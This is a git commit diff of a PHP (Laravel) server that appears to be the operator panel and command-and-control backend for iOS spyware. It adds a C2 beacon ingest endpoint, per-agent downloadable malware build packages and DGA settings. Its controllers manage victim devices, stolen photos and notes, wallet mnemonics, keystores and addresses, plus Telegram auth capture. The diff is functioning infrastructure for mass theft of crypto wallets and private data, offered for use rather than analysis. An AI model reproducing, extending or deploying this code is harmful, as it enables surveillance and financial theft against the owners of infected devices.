feat: xxbb
This commit is contained in:
+5
-2
@@ -68,8 +68,11 @@ CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
# Native DGA/C2 URL scheme in xxbb type-0x01 (keep https; ATS blocks http:// to .icu hosts)
|
||||
CORUNA_XXBB_C2_SCHEME=https
|
||||
# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id.
|
||||
# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here.
|
||||
XXBB_CHANNEL_C=
|
||||
# Match iptj PageVisit → new-builder device by IP (minutes).
|
||||
XXBB_VISIT_MATCH_MINUTES=30
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||
|
||||
@@ -37,4 +37,5 @@ Thumbs.db
|
||||
/public/source
|
||||
/public/weifile
|
||||
/public/details
|
||||
/public/channel-source-new
|
||||
/storage/app/channel-builder-new
|
||||
|
||||
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ class ChannelController extends Controller
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -60,24 +60,29 @@ class ChannelController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
return [
|
||||
$row = [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'builder_type' => $c->builderType(),
|
||||
'channel_name' => $c->channel_name ?: '',
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'download_url' => null,
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
if ($c->isNewBuilder()) {
|
||||
$row['download_url'] = route($this->portal().'.channels.download', $c);
|
||||
}
|
||||
|
||||
return $row;
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
@@ -88,12 +93,17 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId()
|
||||
public function randomId(Request $request)
|
||||
{
|
||||
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
|
||||
$channelId = $builderType === Channel::BUILDER_NEW
|
||||
? Channel::randomNewChannelId()
|
||||
: Channel::randomChannelId();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
||||
'data' => ['channel_id' => $channelId],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -101,8 +111,17 @@ class ChannelController extends Controller
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
|
||||
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
|
||||
$builderType = Channel::BUILDER_OLD;
|
||||
}
|
||||
|
||||
$channelIdRule = $builderType === Channel::BUILDER_NEW
|
||||
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
|
||||
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'channel_id' => $channelIdRule,
|
||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
@@ -112,13 +131,23 @@ class ChannelController extends Controller
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if ($builderType === Channel::BUILDER_NEW) {
|
||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||
if ($normalized === null) {
|
||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
|
||||
}
|
||||
$data['channel_id'] = $normalized;
|
||||
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
|
||||
$channelName = null;
|
||||
$builderType = (string) ($data['builder_type'] ?? $builderType);
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
@@ -129,9 +158,7 @@ class ChannelController extends Controller
|
||||
$data['deployment_seed'] ?? null,
|
||||
$data['reporting_seed'] ?? null,
|
||||
$builderType,
|
||||
$channelName,
|
||||
);
|
||||
$channelName = $build['channel_name'] ?? null;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -140,7 +167,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
@@ -153,7 +180,6 @@ class ChannelController extends Controller
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
@@ -161,7 +187,7 @@ class ChannelController extends Controller
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -175,7 +201,6 @@ class ChannelController extends Controller
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'channel_name' => $channel->channel_name,
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
@@ -184,6 +209,10 @@ class ChannelController extends Controller
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'zip_path' => $build['zip_path'] ?? null,
|
||||
'download_url' => $channel->isNewBuilder()
|
||||
? route('admin.channels.download', $channel)
|
||||
: null,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -236,6 +265,19 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function download(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
abort_unless($channel->isNewBuilder(), 404);
|
||||
|
||||
$path = $projects->newChannelZipPath($channel->channel_id);
|
||||
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
|
||||
|
||||
return response()->download($path, $channel->channel_id.'.zip', [
|
||||
'Content-Type' => 'application/zip',
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
@@ -243,11 +285,10 @@ class ChannelController extends Controller
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$builderType = $channel->builderType();
|
||||
$channelName = $channel->channel_name;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
$projects->deleteWebTree($channelId, $builderType);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
@@ -288,7 +329,6 @@ class ChannelController extends Controller
|
||||
ChannelProjectService $projects,
|
||||
string $channelId,
|
||||
string $builderType = Channel::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
@@ -306,12 +346,11 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
$projects->deleteWebTree($channelId, $builderType);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -13,8 +13,11 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
@@ -38,7 +41,7 @@ class DeviceController extends Controller
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -46,7 +49,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
@@ -56,13 +59,17 @@ class DeviceController extends Controller
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'has_wallet' => (int) $d->has_wallet,
|
||||
'wallet_names' => $d->walletNameList(),
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -116,7 +123,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
@@ -169,9 +176,60 @@ class DeviceController extends Controller
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$photos = $device->photos()->get(['id', 'path']);
|
||||
$deletedFiles = $this->deletePhotoFiles($device);
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Device $device)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$listUrl = route($this->portal().'.devices.index');
|
||||
$this->purgeDevice($device);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'list_url' => $listUrl,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
private function purgeDevice(Device $device): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
foreach ($photos as $photo) {
|
||||
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path === '') {
|
||||
continue;
|
||||
@@ -182,29 +240,45 @@ class DeviceController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
return $deletedFiles;
|
||||
}
|
||||
|
||||
$dir = 'c2/photos/'.$device->device_id;
|
||||
private function deleteStorageDir(string $dir): void
|
||||
{
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// older flysystem without directoryExists — best-effort wipe
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -393,10 +467,16 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
$hasWallet = $request->query('has_wallet');
|
||||
$hasWalletInt = null;
|
||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||
$hasWalletInt = (int) $hasWallet;
|
||||
}
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
@@ -405,12 +485,13 @@ class DeviceController extends Controller
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -438,6 +519,9 @@ class DeviceController extends Controller
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if ($filters['has_wallet'] !== null) {
|
||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
|
||||
}
|
||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ class NoteController extends Controller
|
||||
}
|
||||
$q->orderBy('notes.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
|
||||
->forPage($page, $limit)
|
||||
->get([
|
||||
'id', 'channel_id', 'client_uid', 'os', 'os_version',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
|
||||
'browser_version' => $v->browser_version ?: '',
|
||||
'user_agent' => $v->user_agent ?: '',
|
||||
'ip' => $v->ip ?: '',
|
||||
'path' => $v->path ?: '',
|
||||
'domain' => $v->domain ?: '',
|
||||
'referer' => $v->referer ?: '',
|
||||
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
||||
])->values(),
|
||||
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os', 'os_version'),
|
||||
'domain' => $base
|
||||
->select('domain')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('domain'),
|
||||
'browser' => $base
|
||||
->select('browser')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
|
||||
->map(static function ($row) use ($group) {
|
||||
$label = match ($group) {
|
||||
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
|
||||
'domain' => (string) ($row->domain ?? ''),
|
||||
'browser' => (string) ($row->browser ?? ''),
|
||||
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
|
||||
default => (string) ($row->os ?? ''),
|
||||
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
|
||||
if ($browserVersion !== '') {
|
||||
$q->where('browser_version', $browserVersion);
|
||||
}
|
||||
$domain = trim((string) $request->query('domain', ''));
|
||||
if ($domain !== '') {
|
||||
$q->where('domain', 'like', '%'.$domain.'%');
|
||||
}
|
||||
$referer = trim((string) $request->query('referer', ''));
|
||||
if ($referer !== '') {
|
||||
$q->where('referer', 'like', '%'.$referer.'%');
|
||||
|
||||
@@ -38,7 +38,7 @@ class PhotoController extends Controller
|
||||
}
|
||||
$q->orderBy('photos.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
|
||||
}
|
||||
$q->orderBy('transfer_records.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
|
||||
}
|
||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -3,15 +3,25 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
|
||||
if ($normalizedCode !== null) {
|
||||
$channelCode = $normalizedCode;
|
||||
}
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
$sessionId = $this->normalizeSessionId(
|
||||
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
|
||||
);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = (string) $request->ip();
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
try {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'client_uid' => $uid,
|
||||
'session_id' => $sessionId,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $this->referer($request),
|
||||
'created_at' => now(),
|
||||
]);
|
||||
} catch (QueryException $e) {
|
||||
if (($e->errorInfo[0] ?? '') !== '23000') {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
private function normalizeSessionId(string $sessionId): ?string
|
||||
{
|
||||
$sessionId = trim($sessionId);
|
||||
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $sessionId;
|
||||
}
|
||||
|
||||
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
|
||||
{
|
||||
if ($sessionId !== null) {
|
||||
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
|
||||
if (! Cache::add($debounceKey, 1, now()->addDay())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
|
||||
}
|
||||
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
|
||||
